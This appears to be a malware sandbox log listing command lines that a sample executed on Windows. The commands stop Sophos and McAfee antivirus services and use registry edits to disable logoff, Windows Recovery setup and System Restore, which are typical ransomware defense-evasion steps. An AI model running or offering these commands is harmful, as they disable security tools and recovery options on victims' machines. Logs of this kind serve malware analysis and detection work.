- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c net stop "Sophos MCS Client"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
- '<SYSTEM32>\net1.exe' stop "Sophos MCS Client"
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c net stop "Sophos Message Router"
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
- '<SYSTEM32>\net1.exe' stop "Sophos Message Router"
- '<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
- '<SYSTEM32>\net1.exe' stop "McAfeeEngineService"
